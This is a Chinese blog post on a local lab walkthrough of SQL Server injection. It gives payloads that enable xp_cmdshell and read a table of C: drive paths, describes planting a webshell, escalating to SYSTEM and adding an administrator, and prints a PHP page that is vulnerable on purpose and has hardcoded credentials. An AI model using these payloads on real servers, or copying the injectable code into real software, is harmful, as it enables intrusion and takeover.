SQL Server 高级注入

2018-04-04  本文已影响41人  CSeroad

sql  server 数据库可以通过xp_cmdshell组件执行一些系统命令

阻止

可以看到sql  server 数据库在默认这状态下阻止了xp_cmdshell的应用

通过以下命令进行开启:

id=1'; EXEC  sp_configure  'show advanced options', 1; RECONFIGURE  WITH  OVERRIDE;  EXEC sp_configure  'xp_cmdshell', 1; RECONFIGURE  WITH  OVERRIDE ;  -- '

开启xp_cmdshell

虽然没有在页面回显,实际上已经开启xp_cmdshell

附加关闭xp_cmdshell

关闭xp_cmdshell

写入一句话木马

没有报错

查看文件

一句话木马已经写入

进行验证

成功执行命令

遍历C盘

为了确保准确语句是否执行成功,复制connect.php源代码到shell.php

因为需要在URL上执行两条或多条系统命令,需要修改源代码

源代码为

<?php

header("Content-type:text/html; charset=gbk");

$serverName = "127.0.0.1";

$uid="sa";

$pwd="123456";

$connectionInfo = array("UID"=>$uid, "PWD"=>$pwd, "Database"=>"demo");

$conn = sqlsrv_connect($serverName, $connectionInfo);

if($conn == false){

echo "连接失败!";

var_dump(sqlsrv_errors());

exit;

}else{

//echo "链接成功";

$id=$_GET['id'];

$sqls = "select * from users where  id='".$id."'";

echo $sqls."<hr/>";

$sql=explode(';', $sqls);

//var_dump(sqlsrv_errors());

if(empty(sqlsrv_errors())){

$query = sqlsrv_query($conn,$sql[0]);

while($num=sqlsrv_fetch_array($query)){

echo $num['name'];

}

$query = @sqlsrv_query($conn,$sql[1]);

while($num=@sqlsrv_fetch_array($query)){

print_r($num);

}

}else{

$error=sqlsrv_errors();

echo $error[0][2];

}

sqlsrv_close($conn);

}

?>

保存进行访问,创建数据库

dirs数据表

查看数据库,进行调整

插入数据

将C盘遍历插入到数据表中,查看

成功插入

进行读取数据

读出C盘文件

语句为:

id=1'; select top 100 paths  from  dirs;--'

自然可以执行dos命令

读取IP地址

添加管理员

查看当前权限

network权限

不懂该权限时什么意思,查找后为

此权限

在该network权限下是无法添加管理员的,要想添加管理员

需要把当前用户的权限修改为localSystem权限进行运行

重启后再次执行

系统权限

成功修改为system权限

再次添加管理员

成功完成

附图:

上一篇 下一篇

猜你喜欢

热点阅读